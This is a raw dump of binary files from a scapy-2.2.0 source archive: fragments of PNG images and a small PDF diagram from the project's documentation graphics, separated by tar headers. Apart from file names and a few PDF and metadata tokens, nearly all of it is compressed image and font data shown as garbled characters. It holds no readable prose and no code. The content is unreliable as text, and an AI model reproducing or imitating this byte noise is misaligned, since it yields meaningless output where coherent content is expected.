¬5Aî¢o»¾­õZ,AõÛ\v¬Ù†ÈXî=óV¯ ²ËZô¼–—®ÀKlCÄb_¥ž-t–B®A,z<ôq üãl™ÇB!„‡ÿÿìÝÍ‹ÕuÇñóôH.ÂD.Æ0SÇÄ(Fœ -3ðùéJ#- D’=!E¥(I©•‚ÏJ¨`˜+QÐDl ²Æ…àÓXâªËçp¾œkwF[ؽw|¿˜…+q\}ør~ŸOÿxD¾¥ŸëzHîS‡Doj󉣩@¢œ#ú¯säezHηùÀáé#²Z<ñàÿô‘Êà]iËdmt½­Ð_7Æl´Ù5É 7{üaý`HéV2þˬ_ɾ÷|9–:~‰säjD>9Ÿ#ûRǺ8Gö‰ÅzÀ}#íÙy‡Ä3ƒ^YøçzíþÀ£®‘¯™Ý1»mvSö[‹ºùpDäíÑŽ\ÖÄu%z-rõ[®!äùÙÁo‘€ÿGä»JÉýzQö^‹ßÔkq>µ#{©E™ÙûZ5^ý¶>Α}‰z¹ÙÂTý6Cek:äÐÂö€ëÖWzwã!ùºÚßJõ[‰È'#"ˆˆ¼5"ò'©Œømý…#¿©säW¢¸CÄ}®×¦+  ñÆ+"߉ˆ|C¹O¹7–¨O©Ø7öFï›—Z|_ì­KíÈ•øbo¶>¨óväÉ÷"·):ÿ‡õ€‡êª®ÿŽ/ö¼ÔÂWŸ/¤ˆ|<"òîz9—Z”C‹×Ò-r»Z‰ëö¾UtšÅ=$÷§Þ·+ŠÈ—‘ÏÆ õq­‡ø õ÷fßhõùKEä¼úì·È Tüª:Ù:ÕhÑQ;°×–žic@Óñ”|3ÖC¼ù’ª‘KDþ)"òž‘˪]ù\o¥-æ§Ò7Ø{N·“t‘<.¥dÖ<ÐŒVéùZô"ÿ¯ÈÕˆ|Në!‘¨÷­‘PDÞ‘ßÑÀ^Ål‰Jߪy¦‘_Ô-òÔÚ‡ärn1¬Ñ¿;P_ŸR²_Yøu‰ÈgÒu5"ïMÔ¥ô͇Ÿ{4l·DÓ!sb]¯S{÷<$—ïö€æõ‡žË•ůj´8›ÖCŽÆ+òwQúö¹Ù³÷ÒtÈòÚÆ·fÓë=$çÄ-¡/®,zµ®w^ù´^‘OèÐâP4ZT#òWfŸÕ®ë­2[–ßfªô­+Rò4E䉺²¨æãÇýË÷÷–ÙåØ ¹¨V/r™ÉÔ×–"/UÅ\EäYzHÎÔR/2Ð~×úôÅ´âßêÓò>³fßšmÖ!r)E^¥ÈK£ñíuEdB~>½ŽÐz*qbáuo'´>ý£Ùþte±QOÈTg±Vo=j|[”ê,ºÒ}ÅåãaÜW ¥y‘…çãÊǻ̶™m‰Fätˆ¼Z‡ÈÝ:Dž§'äYê²xA-íª°K¿†€Qê¦ø@»Ó{tbQ¦§ýC½÷µ«÷®võ*zBž«+ä—•§ÄèôSäc =ÛÍvh1dKìN]þ¡ž×!ÏVr§*Þ&R~ €!ï%­L{òúxBîѦt›Ù³Ñf#Íž4Þè*´ŠÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿìÂ1 € þ­ýÍC`ÿÿì € ÿ¯ûŠ7ÿÿþgtæñ ^IEND®B`‚scapy-2.2.0/doc/scapy/graphics/fieldsmanagement.pdf0000644000175000017500000001237011170743163020430 0ustar pbipbi%PDF-1.4 %Çì¢ 5 0 obj <> stream xœ•”Én1 †ïz ÓaDQëµèrN<}7-Æp2näíC¥ì¦±ƒ9H >.úEÎ#h$Ðù+ëÝF]߸ß)Áó2Þ«¨­c ‹ÆqCNv¢ÓÈžaìÕúR%´6:xVSL¸ý~ŽßB•45ë@¨ÓìCÄŒÑå:ƒš"Ë'1óc–ôœdµre‚Fl‰i1kòÎàrKÚG>Ÿ:ð0:FÛÉ{O—à§¡¦^&0$³”õ;Ì_%8 -f¦f%m´¼ÒÛþIi1jtéHw¤àT£›4Ô§^À‹³I|XÜih1kû®\§!‘+êˆ:BÔ“ôéf¶Tm†éå™í÷e¹ÛÀçNF(B”’÷Эˣæ&O!’´—õdÝF]|ûÕ«lÿöã°]®úÕ§î·2}çºv+uñ¥_/Ÿ†?°ž2uåÐûD®œGÙLØ]?®o9]☠øùO Ë—~ÌçlI&¨‰rD|íÔ"£³ð4ÕÒJó!EÈ;d™Ùd¤™å,Ȱ}þ7ui&u±´©kï5T±´”1ÒÛªZ¨2ÿ U,oe4V~EÔf¬=–©„ûgw‘¼Ê2EäÙÐB&É$J7ÎP5dˆ­—rÚÚ«¥­êF½ãr8ëendstream endobj 6 0 obj 501 endobj 4 0 obj <> /Contents 5 0 R >> endobj 3 0 obj << /Type /Pages /Kids [ 4 0 R ] /Count 1 >> endobj 1 0 obj <> endobj 7 0 obj <>endobj 10 0 obj <> endobj 11 0 obj <> endobj 8 0 obj <> endobj 9 0 obj <> endobj 12 0 obj <>stream xœUT}PT׿]Þ{5°F6µèÛ§AùpE¬*RXX% "h¬‰a…-»Ë,+ P£ñžÖAÃ.mS±Æè4!ibˆ‹-µlÍ.jÖNgjÚ8çîÜu¦œNÇÞœwî=_¿ßù])CÃ0ó¶Í£ÝôfÑìŸG1xI^ª‰5°+` ]Š §„Ëa 9LÙ³„­Ž€Ë àùPóãD½P[Qb3êöUfUÙMÕŽ‚ýæ¢b ¡ÝèU”‰òPZô(Å ¨e£B´ýíB9(e  !¤D/£“è_L6s–ù.dYHqÈÑïñŠlÅŀ¯ŒR®SÞ] çTø8±z/8¼»²"¨%?ÆÚÐD2ƒ=åÉûjÊäÅ¿”Zj[ù4îô¡ÓǺå3ò@{÷©¾®ÎîS— ! Z¤ÂÃö ¬`Îû`ا€^|^ 1‰Ë‰Žèf–CÄÜÿÒ`[ÒÈ*͉TááSI$™Ÿ·9aÍö PCÄç¿f6‰g‡ <êŒèóÁµÉ…êz|8`’ÉlÙp~¦Ì“%‰„!)õÉô–ýåê™Ñ+¢º>믩ÃEÂýÏSÈ‚Ùãð¼”õ ¹ß‚ T_~û@œKã=eΈ‘‰Ô)øÔ·PýÛb¦ ½\0Tå–yˆº Ðäã Û!D£Û^žS"ª?ú{*§…:ƒðÝŸ^" Ès¹/­]ŸwæÃüëwfæ:Ÿ€­nHš`>º«ÀïA£ ß9òIýïMwS®ÅѦW®&J’FÒ,ƒ›tëÒldíY{J·Ê…òT\Þöí³Í×ø·ÐöÏ/nLɼ÷†~C“ÜÔܤQöÉ^ü•—¹çÇKüŠ{‘ð! öƒƒ(A$9ò!ë%௠ƒè¿Å“\bØG¢5*8'»°Þ QãÌ̤~EyNò²¿s¾¡í¹¹KãjZž¨“ùÔ×÷¦i3õ·‚{&ñ§‚»42}†"6F[¨£±ê k z9ùv×ÐÅ^=Ö×Õûîõü4×Ðòö‰ƒr\\þóͼz𜠃삯½Ðàeîûð2L ðÈKA–¼Á†'?K7ðéêüÁ‡| œUBó¿õ×I8…MõSCü¦K%ð¼E㩹ÞÐã‹wïþEúÆŽn‡ØØy¤óè ¿žm%áî°[æ³ç†?ì¿×¡™ùõû­ýü³/ÇÈ$\£Ú®¡}?±Ü¾É©‡r/[Ç£@¼OE“©~ bÆ.Û«%à`%q þ§²ÎyVÖô}´÷`×,ï†Ö3oò9Ïɰ°éö°p„þ % t endstream endobj 13 0 obj <>stream fig2dev Version 3.2 Patchlevel 5 fieldsmanagement.figdirk@noname \(Dirk Loss\) endstream endobj 2 0 obj <>endobj xref 0 14 0000000000 65535 f 0000000815 00000 n 0000004717 00000 n 0000000756 00000 n 0000000605 00000 n 0000000015 00000 n 0000000586 00000 n 0000000880 00000 n 0000000981 00000 n 0000001354 00000 n 0000000921 00000 n 0000000951 00000 n 0000001610 00000 n 0000003251 00000 n trailer << /Size 14 /Root 1 0 R /Info 2 0 R /ID [<05D556F47C95094E0BC647BAC325C1ED><05D556F47C95094E0BC647BAC325C1ED>] >> startxref 4935 %%EOF scapy-2.2.0/doc/scapy/graphics/testing-taxonomy.png0000644000175000017500000003470311170743163020475 0ustar pbipbi‰PNG  IHDRŒ¶EÍ-b3iCCPICC Profilex­“AkÓ`Çÿi›N NQñ”ƒ¨ƒ*Y;p½µk7­ÛjÈ:œžL“´©6iHÒê¦?Å`Ù7ŽÝô¢A‹Ÿ@aàa°ƒ:âóæ]RŠ—=¼¿üóŸ÷Íó>’»ªã´,Ûw•ëÓâò»âpCÅ)\CBÕ<§ Ëódû_ °WŸ¯°\ï7äó~.÷ê+»ùàÙsb9åÒ‚€&åtƒsžqs•ñCßñÉc2ÖLU'~Bœv«J‘xƒ8Õà¼Å¸Æùã®Ö`s{Ä’­7m 1B<¥žFœ'ÖuO³ˆ_ÿ²¬6åO>'¾¬9.ÍM²<X]h¤pR@®@úv_»·¼~œ[ïk3ÀØYàͧ¾¶× k%œñêYzO!ŒnCkA°w¾ÁïÍ 8xEk|vöµŽÛ ½ä>ÿ{æß̳[JDƒ˜×%tIÀ‹ šæi\ \¢o8ùI#=AÒáÅkÇJY)3‘“o„Gw³Z:§0Æè~®UnÑÈø»ãˬ?Böº‹3×›³åˆuµ4ñªY¬D\wg•ˆï«7åˆ {i1b§öýáZÓ±ßðfbϪY¥sã{p;ÊRÄÚs±_7JñÞìV…ýKaΦ_Ž÷”…„ &ƒ *$ïErc’zóØ[jçÂö8µÙ?á¨ObÛYq› Ó ô'i±lkWÓbF’¦ð6°3Ìöüç pHYs  šœ IDATxíÝuÀuEÑp  QIADéø¤yAA’îiEJI¥ BéFéîVÒA,Œï§+ûϹϽçö¹÷îýãyöì™­Ù9³³3³³üë_ÿzGú% $ $ TVµc©_   ÿÆÀÄ ûÛß’T±ÑÁÄLð®w½«ƒþõ¯í`m©ªAÁÀ„NøÎw¾sPzÛÉ~bLá÷¡}¨“õ¦ºÞÆÀÇ?þñ·qÜ™ÿ“M6ÙÛu§ÿ#„Å[¬34hµŒ—¤Âlô£¡iïòPÿùÏþìg?ëF#Õ|ä#ݨ9ÕYA üýïá…*رÞt)Ϥžzꩉ&š¨7m}+üãßóž÷tc˜SN9å³Ï>ÛšSÄÀÏþóQ^“’⼂4™º”000‰IÇEJ% $ T‰IUpRR—Æc 1©ñ¸H©„„ b 1© NJêRÂ@ÂÀx ä­{ãߌ‘âIx×]w=üðÃ/½ôÒ?øA. ŸùÌg&tÒ1ÀSvÂ@Â@Â@[hŽI]wÝu[o½õ3Ï<“mó}ï{ßV[mµÿþûsÞÉæW-ýÆol·Ývzµï¾ûÎ6ÛlUë^ûc€ßùÎwêT¸æškžp Î9çsúÉO~r·Ýv«? ¯º4ã]ªv@‘܃n7Á¤~øÃ~á _pÂc×]w]n¹å¦vÚ|ðž{î¹à‚ N>ùä8 Ým§ 2àÙgŸ­,u¸™”¯è׿þõÔSO=ß|óŒýãÿà±7ýôÓ‡ôwÞ '+¬°ÂP2©.Íx—ª³“9 ”eR¿ûÝï6Ûl³‰'žøúë¯_b‰%B- .¸à¦›nºÏ>ûàS¹z+øˆ½®¾úê:öÞ÷¾·‚Ýëx—p¨n¸¡~µóÎ;/œø[l@ßviÆ»Tí€"¹ÝŽçxÂÙ=ëmÌÉ&.ºè"½Yc5²™)]$HëÆÙ=RR¦wÜqGí.½ôÒu`Ò«†Ø|óÍçŸþ¿üå/ !» WìÙ½²Z$šrtÿþ÷¿ßßôK 8"vß}÷9€9 ƒ­òË2©Yf™Å0®¾úê·Þz«ÊãI}KH2 ”ÕI­¸âжÏ=÷ÃËÑtÓM×?ùÉOÎ;ï¼Ûo¿ýÕW_yæ™i²lC³SöW¿úÕI'tóÍ7«“Ypá…f´3ÊVËðD%¿Þzë­¼òÊgœq†Ç×^{m ‡g£5”Sóá‡n Æøãò”/«ø÷¾÷=Öƒ_üâÔ=;ì°Ã‹/¾xÕUW=ÿüó¤}#Íö|PÒì—]vÙâ‹/n~CŸ›Bˆ™=æ˜cî½÷^V”ÕV[m™e–QÛý÷ßï@ìöÛoëv衇ÞrË-¿ÿýïMß.»ìbçQ„˜7ÜpÃÏ~ö³O<ñÄ)§œâïW\@U—\rÉ¢‹.ºÒJ+I¨áÑGuÖY×_}}Ž5l»í¶o¾ùæ™gž)&ÚùçŸÍ5×€ 8ã[n¹¥ƒßæëñÇG*œi¦™–]vYšÍ¯}íkÒa“õo|#PËs̱îºë˜ª Ãßá#¤ìè:ŸŽÛéú:)`Á4¦“L2ÉòË/ðÁß}÷ݱx.qä‘GҲƕ8R…3Üâ+àÒ9~oç™gž/}éK8”ô»ßýnT˜­'ØÑÑ4Õ€·ûØÇÉ8…€"dI0ð3Ì0ƒâh´…²_þò—•E©:#á‡kë¿ïMÿkêòª¯“ ¨c®m!,ƒLæošjª©NÌl`+¾ÿPçOúSóe²J}þóŸ‰ .½ôÒØ"æ¢ìÑGÍ"Dà@`ámx…Ø>ýéOƒ‰\Ãjk@]ªÅ!<äCÂÛâŒËáÖ÷ío[[¡ x¿=÷Ü3±¿CfÒ䇴¿«®ºjl±…jcÙiÄuRkȤ@Z'sj)ËÚ7Þ+ «™ÙU!MV|e½µˆÅGiþøHbR‰g¿öð !&®úÓŸ“bæž{n{ï½w,[ |‘¶J–=묳4J:@Áê11XŒÝæ7v£˜è/“ÂC—ªõûÖ·¾»:“jˆs2 ±kxúé§ÕF!ÞBÑé§Ÿ+—€8g‹DòË_þ’1‘ðÂ+"@ND2ÂÈ0#ɸ’…Wªå5òÊ+¯€'dá€r¦˜b bu¨¯Á+ÙšqŸo~󛺦ÉÛâŒËÁqÔø© Õðú믇 Ãß¹æšK~ ¼l¾tËÕ¶FH‰Iýÿe˜Ð?üá^x¡Õ Ì“YD[–Á8‹þóŸ?üᣃGy$f6L(NÂ#pø„44ä[oåŒ7®Y0ðEÚ*Ù„ý¦F9ÅF}6r²|6¾Š‰þ2)øœ³Öï ƒŠ=‹I5ĹS`ì³bUÖ9«¬²JÌ‘àž’“ùÀȼöÚkdäDlÇ‘se_Ù6†Çð×´JZ9˜” ‰Wv¯YHé⌇œ-¶Ø" i½QÃwÜ‘Íl–I©¡aµ­Òˆ3©²Šs~¶ik­µNq  [9k‘ýá"Üzë­T¶aŽß.×à¿5pÉ%—ôØcå@±¼È½¢Þò¯l ,W*<6lB„9+-ßúXÜ‘ é*Gž[d‘E(\Š¿½öÚ+Žb¬D„(*¡¦$1åò£ýïØxãQKüÆM¢_¶u’é‰'žhÁËf†4…W6ÓDì±Çrèž²ùÔ^Ùœ:é°ŒcU(™hXí Rɱw¬¬â¼fÐ=+~„1vÚiD|€£¯sÍ‚ÙLâ 4=:‚|ûˆì[é…Z(›èØŠ—Í,–+6a¥}òÉ'õ3~–•ýÄ'>Q³ÂAÏ,ƒcd¤#e@0wY„‹ìÎìˆmÄ"XLÉ+>"žœ&!¾*&ÂŽO‹ÙW”åÙÇú醬_|¬· «5B QMå·Å¤´D;¾óÎ;cRDåÐ0ßt‰†—P(vØaVÚैb¨!÷—ö!—Só±$XkeXüñ¼ÓN;!É _|1'{š`Û©šzfCdâ;~ldl°iÚ~„ÂΨƒf* Ïòs‰i¯ˆœ8ËÝŠÀ¹œ §§Ëæ7UCÃfk.ŸnXí¨RyÔÕl—I©zöÙg÷—É,4ã´ªDîrxÿ>ôÐCìÍØÓ‰O„²Î:ëøø#L¥¶$8Ý£IÁ¤~ûÛß2óQ¦ŒÅX+ÕùntÆÀíÐIITó4DdL9¬õŽÆæ %„ÿˆ ¶àX¶~"èLA¬©²{™N„Ô¶Ë2)›²±¤ñ C‚.30Û"j£°â»ÅÍD¤—ïÿût¥ñ­ÝALW-Áb«²R³o’ \f\ÕúÙ³þØÔßvÛm\œ˜G(ÂYëàZràŸÁÁ ÒØïs¯Ê?Rz怃7 ÿ\~7'îàD'BjaŽÊ2©ÝwßtÍsoÆgÌ6óòË/ó}á˜Z}Ž=öXò?EUp„`²?þxâ’¨*äd÷JR<÷²5W*í;a;ÇsšÑJu²— ŒƒÍ~›m¶©Ó.]Ž‹¶ÉJ°Á`^̸LuÊÆW¸!VŒÜ€CYÞÈqª0ÝHà¼ÁìGÙjÛ¿û'R 3U–IQ:ÜtÓM¼~ùã‰ÓBÒæ4Àº‡m‘,Øã³r>±aQßXf"yŠšùÊ+¯tw=&eÕU–i™B#ÓÞ½o5~R"( „ hðÀd#£Ò¶\E Ú.þ¸ãŽc˜çË3Î_«c WLA5J2)F™âdy³p=Øã]B¦12 Ò²é*n…þs¶ËÚM„ÔÒÊ2)Û7.šü¡ð)¿Ø=ꨣ±û˜‰Fùõ«_¥µ±–†|Ÿ4Ç–°+ä²€‹‰úBwî-Ó>ý+&õƒü VR©QS~±côSö­›l² o@Šª˜? ŒƒÛ-T´{„Q³'À‰õ‰®*äð? ÒÆb¨ÏƒM–ã8ð+‰¨/~ñ‹jÛo¿ýò9©qÄb•,Þ2g@^$¾¯|å+Ü œ³1Þ¸3h­ÚDH­à-z¯•tætæÜsÏâîë_ÿºõÝÄŠ j&ÂÃßo~ó›â[Êu‹ª­¸ø¶:960Ë ÏØéæŒÅ'Jwë”"¯ 5{Û/gΚé`¦iýÔ§>e}¢o²´@ˆ%#ÕFm!¶fìz¹ÙIX©ØsùuƒŸ'q;À Þ³Z¯S¤³¯BŸyxu¤Ú– iÄ9›;Ó‘©¸J§|xX"¤ç(JÅ%uR~¤To(ŒÊ6‹eú~÷P[Œ…ŠaÝî…ñrmÍu ˜³˜kþXi6ȶ{†ß!øvoˆ äEL ÊdÃ3û)¦tÄW/û;Ê).Ð%ð^}[/|ž LõÁ/,ÖÓfÂfŠ11ul³ªö‹ó`âAÂ’@Y!cyü¶Ö‰•A A„7yù16KHHÎV‘FMCùv2m÷š˜8®@¬é~M”vP¼É¯K£´Ày—*ïcµ‰šB~Rœ7…®œ00Ðk $&ÕkŒ§öšÂ@bRM¡+' $ ô‰Iõ㩽„„¦0˜TSèJÀ  ½Æ@޺窆ñÉzÝÇm½K}«+ìRý©ÚJa€cP¥úÓãÎä™”óŸ=îAj® ðn«rd›F”Š$ Œ…ñΜ!ÁXpC–/~ƒ " ·ÒYÿÃ"¢Bü©b~Ë9U›)· Ý-T€K\<ðÀ–Ç• ÖÇ@Ç ©~sÕy;žIU§O=艈}¢÷ h%°™¿ÝæS=Q_šïPxÌp᥀*BÖÄK†ûÒŸÔèPb`D™”¹L|ªM‚vÓPv(÷¾Ýí–é6+LÅjb`t­{Žé‹j°ì²ËŠ-é¯#5”2‹ @ nGÅ¡DUÿ/q¨"–RN§00º’TÀ`’§š¥¤$@5‹±ß&FW’ ˆKòTyJTy\%Èb`Ô%©€Ê$O5$)&<±ý’ª!¢@Ç10ê’T@h’§êV >÷¹Ï% T,¥WÝÃ@’¤Æã¶¡<åvuìl²É&_fØSI€ö€ñ%Ijü$5”§\¦ä«ñ†:•¨¡žÞ\³a§‡þOúsÈÏSTÜìx‰ZnÍ-Þ(—…”´˜¿uºÊ„ç¢iHà岉:éUÂ@·1$©ü’RGžštÒIÒw7j¾Ì =ß~ûí·ÜrKÍ^ç(׋'¨šˆJ™½Ã@·¹à€Ö?–<å†+ôòÝŽ#Ðõ6nª)I%ªãØN¶ñ7·_×ÕP“OÍ:ë¬÷eî`W]uUyrýw÷̆nÖFNä®MϤDŽ~a 1©z˜/ò)×aú’ÝZ¯X…ß}ôÑú¿Ùf›eû˜¨,6RºjHLªÁŒäøÔRK-Ä«¯¾ºAÉê½vð ûôÿüóϽKTõf)õ(Ĥò)>gùÔ¸qã“úÌg>S„¬r¸Ë;CçÝè©«I€ªò|¥¾E $&QñßûÝã?þòË/»8¾‹|jÚi§ ß¹¿?ýéO#@õk¬±Fèù\sÍ•¨êÏWêaÄ@rAˆ<ç¿ ö»‡zÈ))¦˜ÂíÞ¢¸¹áz‘Eá$õ| {¯ú!‡’/\ÕçO<ñ?øAèy Ÿ©ŽÔÅ_lë—å¼UAê×èb ‹sòJlèÖ[o B8WìL â±*’ÿÀ,ºè¢ýë_CtÛÅ„'fbO™£Ô:˜èë_ÿz×£üêcûØÆo¼üòËÛ>ýôÓ5QáÖ±Òk¾ªH¦MërË-Çu>ögÊ)§œ}öÙùRüüç?êÏM$ïyÏ{²b„L‰„*` IR¥fÄDªâÅ3[`¢‰&zê©§¢B:ûª"éõÖ[φ®~gÈVÁ,±Ä›nº)Žæ±>|z›0ÐK $&Õ¶Ÿ}öÙÃ;Œ6'nÞj«­N:é¤&jé!è©§žºùæ›×iZŠ™’_…ß'>ñ‰:éUÂ@¿0˜TÓ˜õÕW:ê(WØI)<É$“üìg?›~úé›®¨Ëyä‘…^˜¾?×NbL9„¤ÇŠc 1©'ˆŸâùØcdj·Ýv#aµXQwŠñ™XpÁùR„ê1¦ .ù;Çst§ÍTkÂ@W0˜T[h}óÍ7E˜:ùä“ùLM=õÔmÕÕÑÂTþW]uUÜÊ%ÆÔQì¦ÊzŠÑbRxŠckG°+…Ùȉ“ŽWÞB…´ûFÊŠ×BÙÙf›í€h¡àpÙgŸ}h$‡{ŒÕ³±»îºëøþD·ÎQHˆR2~ä)U ÜVGš£½s-l¥¼®`À•ŽÙ š¸+T»Rgžyfµû؇Þñ¥ŠGgúÐü 4ÉAß„Aèé ö‘COq¯3ŠLÊM K.¹ä Nc×úýÒK/u­î!©˜ãþ 3Ì0$ƒ©ä0&Ÿ|òb¿ÒÙ½"NRNÂ@Â@…0˜T…&#u%a a ˆÄ¤Š8I9  Â@bRšŒÔ•„„"“*â$å$ $ T‰IUh2RWŠE„"BŽ`,çœsÎXo‹ùb]Î9çœÅüŽä¼ñÆÛm·ªöÝw_^à©3UÒ3 ¸Qõ²Ë.ÖUjGÐ{Önù†æ™gž‡~™Õ´ú‡z*B„I’?­œ\p ¿ 'œPì`¿çž{Î1]®êá1 3¾dR¢ÁœýŸŸ¸t]¨>UÙE p‹½âŠ+4àðùøÃ.¶ÔFÕÁ¥»~!Â$IŸ¦½þóÿüŸÔÜsÏ-æÉöÛo¿÷Þ{ç^uõÑIÀÕW_]Vã®6”*ï8Î=÷\g9×^{í /¼ÐÙ†/}éKo¢7V„“$՛鳕-¶ØÂqÊl½êxðEÿù¹Õ}ÌÂéE%1€19=C{ Æé5×\óÊ+¯ÔìæXSøÞ{ïEÕ,س̊abR=›ñÚ 9¬tß}÷ÙcÖ~r f“®‡ì’!ÇhD¤ XÕD©§ R}VÍ‚£–™˜Ô¨Íxow1ή -¯™u×]×ßÓÝV‡ºö¤“jwzE>ôÐCo¹å±:‰è»ì²Ëb‹-+¥qwÏu×]lši¦±º²û|ùË_–þÚ×¾Lèa¿ño„ûZD§ ”-óð÷¢²îÅ«\¶ÜrK1‹Ï;ï<º|Õ}ôÑ™fšiÙe—Ýpà Áç~ßûÞ÷hm]V<ß|óí°Ã/¾ø¢0xÏ?ÿ<©rÀé±#øÛßþæÚ‹™gž9œ`§ÚyçMÖwÞ)NhþëLý 7ÜpÓM7ªpÚ~ûíJm½õÖál3­¼©¿ùæ›™t˜wDˆÞÿýkê~ò“Ÿ˜èÛo¿íé’‹6vÜqÇYf™e¬‘Ò£‰‹ÀV]uU”À*A„AÉ?"C<)7å•o¸VïÀ¬YD@NÑÍÑ gª©¦rÌ¥—^€ó›ß|øÃ¦˜Xyå•) Ìýûßÿ~sYØßÉ÷ ¤Òþ‚‰ ¢D4ÙœI'Txu­àwš Å÷ÜsÏø WXÞüóÏ`euÆ@‘5rÌÁ{ÄÅ@¦xREÌÈ ñ¤h—j¾™áÖÝwß=æŒ7VÝÖsêO=þˆ!ÌZ$ »¿PCˆeh*q@S ìÝï~·52ÖGy${´·¸’­¨EÙXö‹œH]HbÍ5×”C´Eµõ˜)ãô!Oj´®Yï,“2ߦäÆo “ꆾyç—t¦™ ŒqÄqÊ)È 8˜WÌq™0!ÉcNLÔ¤T+ÔŒõrÕ Ó×_=tŸ:Y$È4ñnÖsÑÞ[o½aЉĤŠ8‰9%™”‹¯aÞh±`ð¼³B¸#f†D©wyšz²Ì.–%MG†%SèjîˆÌ.<á³}èC´c± 2P6>f™r ò;Æ—­p‰01©u–I )‹>¶ÝvÛ8ñ® –yíµ×JcÒ\f²¹tJ­I*$”e+Á}dÞqÇ1“à&‡ƒU̱’ËÉw|‰IETe˜”]á…Œ“-n%³¨@þ\Í—®3õu˜T®¼/ÔoS^É ò;×™pö12)+ÙFm¤‡«­¶Zqë1ÖdRIqnvZüýèG?¢-rå]@üÙÐÙÿÛñ©tñÅ÷«:ýôÓé†Zl¦PìÓŸþt6OsÝ¥3Eã&[ecH~ðƒô6EéŽ(êF"¸G…v¬Š)¦Xe•US¦`/‰01©23RMø9UÇ´W|íž;™ÔU—_~ùi§Æóøî»ï¶ÖùÑIQ· z±`™‹s}0– ÿøÇ;í´…ˆ>ˆÌíË¡ÚïÞIÃúý…·÷Üsî@ ¦>;dDB ‰•˜Ž=öØ#ûª…ôk¯½æ’GR<}S(nýËÖt%BŠj%SùS¡n°ÁÙªê¤{I„‰IÕ™ˆz¯ì§h+©!ˆK9*ÉÃ#° ?*ó믿ÞmQ”G´ÝÑ´œîTZ߈Wx“Õ[œ cæCŽuúÙ©¦G¶ž `k­µV Äçƒ>L›LŠJþ³Ÿý,6DÃ}ÐAYuËë¬³Ž¹Ž{ô3Ï<sê$–^zieQ©Š>«|ùW$¤“*ö<$s>›šÃîùµž…§Ï¶í÷·ÊÅäšz䣀”Ék”úìʧžz*•yЯ7UO.‰ÓGVeÂãAR³Hpd³éæµ”¨3õÅW¼–Ü—Áz{Æg°Ó›S‹ÍC¶N~ \ ¸¹dÕ”Y€˜¶¿#éã&Ôš'œpb&IÑ£G€v$ÂĤZŸNtÂ\ØU×»XÑÓO?8f”{tUÙAPR=‚ƒb=-'ÐgÄêø©F !¶\[*ئ›tC¢¡Ù© <ûì³Ms¸L©Ï½Â†8©(E êovÛnyÿý÷gåeqÒ’i|…åqžbá‰9xYŒÓÂÁ‰hþVø`h'ÑA"LÛ½Ö'‚¤}ÜqÇqà0ÉDâ/Šá\ÎÏÛÝal:|X˜ùàâ¿KÇ8‘Ѭˆ˜M³¾ùæ›+‚Uñ6nßGzòÁ t*[<[?~R¸ˆWäùÖœJŽÀzØyÇxÿïlÂ1Š(}Ì1Ç„5£ÎÔ£‡Ä³¤ñHpf…˜AʯW\Oa±q~€Æó…^ȵëÃm·ÝFÆ rú%ÄQ烤šœqÆsðáñÄO >îêG-5aÊgv’³®CŸ:EP~¤a‡?–ǹzPÞ§>õ©¨îYEÄ yeÊ™óâbe‚1Žã?>Ûºe0Š9ÓN;-¹Œ3Œå¢B:ËÖ@­ fâ}Ìä>:1m²É&VÔ™M$?©,6ré:~Rd" é&W$÷h r–£*áU©`™ “háË‚aÉ$h;'——‰cXáJלÖ_þò‡`â™EðÌŽPZÇ"õ'¤ã_JL”Ìw!ºžö˜kúI%ó8Am%p%,Éw^¬…Ükã•ÎÀWt–Ê¢õbÙr‚ ý—æX©Ù•X©YO9å” %ýÕ¬61©šh ™u˜TR _Õ™zdÃ1˜¦<ò‹X¥8ÝÖL̬™À’Sl5ÙC5!;›Ù2&&ÕŠÇyg'¯µ±6Z6¹óÛºú꫽¢z(¾’“˜TM´„Ì.1©:-ô«–‰°&“JŠó(;I"%u¾8çæefÕ®E˜”“0Ð>:K„IqÞþŒT«šƦõ×_ŸuYH:{›[? —\r uMµzœz3tè0´TÙlç©ÐCSŠóf›¨<3"*á¶“%~JÖÝvÛ ÆêaÚî…ùi»W95_µF„5·{I’Ê~ÈC’þÀ>ÀÎí¼Žýåó•ùG?úѦg .Ò0ú„abR}šÃî7ËÇ݉âf[Ýÿ°ÒJ+•<üÕýq¤­anÀIqžCȨ?òÄáwãü³ÓaGçQGJ_1˜T_Ñ_½Æù%òæÑÇÕE"q«êMÑÈõ(1©‘›òúæ/˜ ÿÏÀ¤°;ª*IDAT·ª®ô¶HLªH¼&(¤lúêp+,ltv‚N´ ÞQGQqNLèj8§%š·Â°°$ô°-q(?¯œwµ%ôw(µìñ,3d÷Gûƒ ƒ½ èìW¤Ûµ£l×ôqÖÌà'U‘ù¨f7^iõæ›oâPxS<8Cyô1{5”c  É9^ê¹0G¬éVs¾†²W¹+­&@UC9Κƒ``¬;¯kÂw;“¸»¶—[n¹p™B·›+S?M9)™•­°'EZ¶Šr“x!ŒÞä +§ø6®üqF· Zªã|²ŸÐŒ¢YU§Wez"ÒòË/?r–¾ÁB8¡"^õàAσlåcDÙª¦Ü$:˜€…¹ènŽÂ=É¢_ \ÏsEÔxRÀŠÒ*ê­lÉÿÖZUXoEnÛ[kÊMq£× ô¤:ÚÅ@bRíb0•¨>·J¼)NÖ%“ É˜®V[ÕäM«¯¾:}?}S’›*NX‰IU|‚»{‘[ /ö€½Ü &Þ4ØÔóvï“zé71 Ž{Ð[õ€[%ÞÔÍ™ìC݉Iõélñ¾†ú­–‡¬_Oß–áV´GCaù!Œ8o*O3å!Ë#¿«éXLWÑû?•‹*W3ªïÿ½ãçŸ~I^–+8X[¹â saeãÁÎ JpP¢-’ܯêKñï|ç;|ÍÜk²ÕV[qpéNH¸ÛµƒË,³Ì(h\ê0@}\y «\+‚U 1©ÞM‡[ð\ˆöøã×iÒU}!y˜!{U“[‰SŸ[%Þ”#XÏ>ûlîÁ¹üì£!]ÿ9x±É~é×3 }ôÑXÕË/¿ZÌ9s¢¡‰'žØå =ëO5âËd«¸é x'oÜ9X<³ä¦A÷½l.ˆ¥®}´ †ªrΜ¤xë¿í7ÔãFëÞ½#·ØÜ«¯¾jëá2Ñ×^{ÍÛ,“²¢!—qKlNäV˜TV"v|'ñ¦a@—«ª…Šw8f™Î…Í2Ë, ¯êËÕY…Ç´ÝËw§Ÿ~z'WÝøèP˜ƒ„±1·`;1Çò•½=¾ÙÄÿøÇßþö·͹u9 